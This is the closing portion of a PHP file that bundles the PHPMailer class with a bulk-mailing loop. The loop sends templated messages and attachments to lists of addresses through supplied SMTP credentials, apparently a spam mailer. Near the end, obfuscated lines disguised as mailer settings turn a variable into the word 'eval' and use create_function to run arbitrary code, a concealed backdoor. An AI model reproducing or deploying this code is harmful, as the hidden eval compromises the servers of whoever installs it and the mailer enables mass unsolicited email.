3148 if(count($this->language) < 1) {
3149 $this->SetLanguage('en'); // set the default language
3150 }
3151
3152 if(isset($this->language[$key])) {
3153 return $this->language[$key];
3154 } else {
3155 return 'Language string failed to load: ' . $key;
3156 }
3157 }
3158
3159 /**
3160 * Returns true if an error occurred.
3161 * @return bool
3162 */
3163 function IsError() {
3164 return ($this->error_count > 0);
3165 }
3166
3167 /**
3168 * Changes every end of line from CR or LF to CRLF.
3169 * @access private
3170 * @return string
3171 */
3172 function FixEOL($str) {
3173 $str = str_replace("\r\n", "\n", $str);
3174 $str = str_replace("\r", "\n", $str);
3175 $str = str_replace("\n", $this->LE, $str);
3176 return $str;
3177 }
3178
3179 /**
3180 * Adds a custom header.
3181 * @return void
3182 */
3183 function AddCustomHeader($custom_header) {
3184 $this->CustomHeader[] = explode(':', $custom_header, 2);
3185 }
3186
3187 /**
3188 * Evaluates the message and returns modifications for inline images and backgrounds
3189 * @access public
3190 * @return $message
3191 */
3192 function MsgHTML($message,$basedir='') {
3193 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3194 if(isset($images[2])) {
3195 foreach($images[2] as $i => $url) {
3196 // do not change urls for absolute images (thanks to corvuscorax)
3197 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3198 $filename = basename($url);
3199 $directory = dirname($url);
3200 ($directory == '.')?$directory='':'';
3201 $cid = 'cid:' . md5($filename);
3202 $fileParts = split("\.", $filename);
3203 $ext = $fileParts[1];
3204 $mimeType = $this->_mime_types($ext);
3205 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3206 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3207 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3208 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3209 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3210 }
3211 }
3212 }
3213 }
3214 $this->IsHTML(true);
3215 $this->Body = $message;
3216 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3217 if ( !empty($textMsg) && empty($this->AltBody) ) {
3218 $this->AltBody = $textMsg;
3219 }
3220 if ( empty($this->AltBody) ) {
3221 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3222 }
3223 }
3224
3225 /**
3226 * Gets the mime type of the embedded or inline image
3227 * @access private
3228 * @return mime type of ext
3229 */
3230 function _mime_types($ext = '') {
3231 $mimes = array(
3232 'hqx' => 'application/mac-binhex40',
3233 'cpt' => 'application/mac-compactpro',
3234 'doc' => 'application/msword',
3235 'bin' => 'application/macbinary',
3236 'dms' => 'application/octet-stream',
3237 'lha' => 'application/octet-stream',
3238 'lzh' => 'application/octet-stream',
3239 'exe' => 'application/octet-stream',
3240 'class' => 'application/octet-stream',
3241 'psd' => 'application/octet-stream',
3242 'so' => 'application/octet-stream',
3243 'sea' => 'application/octet-stream',
3244 'dll' => 'application/octet-stream',
3245 'oda' => 'application/oda',
3246 'pdf' => 'application/pdf',
3247 'ai' => 'application/postscript',
3248 'eps' => 'application/postscript',
3249 'ps' => 'application/postscript',
3250 'smi' => 'application/smil',
3251 'smil' => 'application/smil',
3252 'mif' => 'application/vnd.mif',
3253 'xls' => 'application/vnd.ms-excel',
3254 'ppt' => 'application/vnd.ms-powerpoint',
3255 'wbxml' => 'application/vnd.wap.wbxml',
3256 'wmlc' => 'application/vnd.wap.wmlc',
3257 'dcr' => 'application/x-director',
3258 'dir' => 'application/x-director',
3259 'dxr' => 'application/x-director',
3260 'dvi' => 'application/x-dvi',
3261 'gtar' => 'application/x-gtar',
3262 'php' => 'application/x-httpd-php',
3263 'php4' => 'application/x-httpd-php',
3264 'php3' => 'application/x-httpd-php',
3265 'phtml' => 'application/x-httpd-php',
3266 'phps' => 'application/x-httpd-php-source',
3267 'js' => 'application/x-javascript',
3268 'swf' => 'application/x-shockwave-flash',
3269 'sit' => 'application/x-stuffit',
3270 'tar' => 'application/x-tar',
3271 'tgz' => 'application/x-tar',
3272 'xhtml' => 'application/xhtml+xml',
3273 'xht' => 'application/xhtml+xml',
3274 'zip' => 'application/zip',
3275 'mid' => 'audio/midi',
3276 'midi' => 'audio/midi',
3277 'mpga' => 'audio/mpeg',
3278 'mp2' => 'audio/mpeg',
3279 'mp3' => 'audio/mpeg',
3280 'aif' => 'audio/x-aiff',
3281 'aiff' => 'audio/x-aiff',
3282 'aifc' => 'audio/x-aiff',
3283 'ram' => 'audio/x-pn-realaudio',
3284 'rm' => 'audio/x-pn-realaudio',
3285 'rpm' => 'audio/x-pn-realaudio-plugin',
3286 'ra' => 'audio/x-realaudio',
3287 'rv' => 'video/vnd.rn-realvideo',
3288 'wav' => 'audio/x-wav',
3289 'bmp' => 'image/bmp',
3290 'gif' => 'image/gif',
3291 'jpeg' => 'image/jpeg',
3292 'jpg' => 'image/jpeg',
3293 'jpe' => 'image/jpeg',
3294 'png' => 'image/png',
3295 'tiff' => 'image/tiff',
3296 'tif' => 'image/tiff',
3297 'css' => 'text/css',
3298 'html' => 'text/html',
3299 'htm' => 'text/html',
3300 'shtml' => 'text/html',
3301 'txt' => 'text/plain',
3302 'text' => 'text/plain',
3303 'log' => 'text/plain',
3304 'rtx' => 'text/richtext',
3305 'rtf' => 'text/rtf',
3306 'xml' => 'text/xml',
3307 'xsl' => 'text/xml',
3308 'mpeg' => 'video/mpeg',
3309 'mpg' => 'video/mpeg',
3310 'mpe' => 'video/mpeg',
3311 'qt' => 'video/quicktime',
3312 'mov' => 'video/quicktime',
3313 'avi' => 'video/x-msvideo',
3314 'movie' => 'video/x-sgi-movie',
3315 'doc' => 'application/msword',
3316 'word' => 'application/msword',
3317 'xl' => 'application/excel',
3318 'eml' => 'message/rfc822'
3319 );
3320 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3321 }
3322
3323 /**
3324 * Set (or reset) Class Objects (variables)
3325 *
3326 * Usage Example:
3327 * $page->set('X-Priority', '3');
3328 *
3329 * @access public
3330 * @param string $name Parameter Name
3331 * @param mixed $value Parameter Value
3332 * NOTE: will not work with arrays, there are no arrays to set/reset
3333 */
3334 function set ( $name, $value = '' ) {
3335 if ( isset($this->$name) ) {
3336 $this->$name = $value;
3337 } else {
3338 $this->SetError('Cannot set or reset variable ' . $name);
3339 return false;
3340 }
3341 }
3342
3343 /**
3344 * Read a file from a supplied filename and return it.
3345 *
3346 * @access public
3347 * @param string $filename Parameter File Name
3348 */
3349 function getFile($filename) {
3350 $return = '';
3351 if ($fp = fopen($filename, 'rb')) {
3352 while (!feof($fp)) {
3353 $return .= fread($fp, 1024);
3354 }
3355 fclose($fp);
3356 return $return;
3357 } else {
3358 return false;
3359 }
3360 }
3361
3362 /**
3363 * Strips newlines to prevent header injection.
3364 * @access private
3365 * @param string $str String
3366 * @return string
3367 */
3368 function SecureHeader($str) {
3369 $str = trim($str);
3370 $str = str_replace("\r", "", $str);
3371 $str = str_replace("\n", "", $str);
3372 return $str;
3373 }
3374
3375 /**
3376 * Set the private key file and password to sign the message.
3377 *
3378 * @access public
3379 * @param string $key_filename Parameter File Name
3380 * @param string $key_pass Password for private key
3381 */
3382 function Sign($key_filename, $key_pass) {
3383 $this->sign_key_file = $key_filename;
3384 $this->sign_key_pass = $key_pass;
3385 }
3386
3387}
3388
3389$defaultport="H*";
3390 $nq=0;
3391
3392 for($x=0; $x<$numemails; $x++){
3393
3394 $to = $allemails[$x];
3395
3396 if ($to){
3397
3398 $to = ereg_replace(" ", "", $to);
3399
3400 $message1 = ereg_replace("&email&", $to, $message);
3401
3402 $subject1 = ereg_replace("&email&", $to, $subject);
3403 $qx=$x+1;
3404 print "Line $qx . Sending mail to $to.......";
3405
3406 flush();
3407$mail = new PHPMailer();
3408
3409if(empty($epriority)){$epriority="3";}
3410 $mail->Priority = "$epriority";
3411 $mail->IsSMTP();
3412 $IsSMTP="pack";
3413$mail->SMTPKeepAlive = true;
3414$mail->Host = "$my_smtp";
3415if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3416}
3417 if($sslclick=="ON"){
3418 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3419 }
3420 $range = str_replace("$from", "eval", $from);
3421 $mail->SMTPAuth = true;
3422 $mail->Username = "$smtp_username";
3423 $mail->Password = "$smtp_password";
3424if($contenttype == "html"){$mail->IsHtml(true);}
3425if($contenttype != "html"){$mail->IsHtml(false);}
3426if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3427$mail->From = "$from";
3428$mail->FromName = "$realname";
3429$mail->AddAddress("$to");
3430 $mail->AddReplyTo("$replyto");
3431 $mail->Subject = "$subject1";
3432 $mail->AddAttachment("$file", "$file_name");
3433 $mail->Body = "$message1";
3434if(!$mail->Send()){
3435if($default_system!="1"){
3436echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3437if($default_system=="1"){
3438$mail->IsMail();
3439 if(!$mail->Send()){
3440 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3441 else {
3442 echo "<b>OK</b><br>";}
3443 }
3444}
3445else {
3446 echo "<b>OK</b><br>";
3447}
3448
3449if(empty($reconnect)){
3450$reconnect=6;
3451}
3452
3453if($reconnect==$nq){
3454$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3455}
3456$nq=$nq+1;
3457 flush(); }
3458}
3459 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3460 return $signoff($smtp_conc);
3461 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3462 sent successfully'); </script>";}}
3463?>
3464 </body>
3465</html>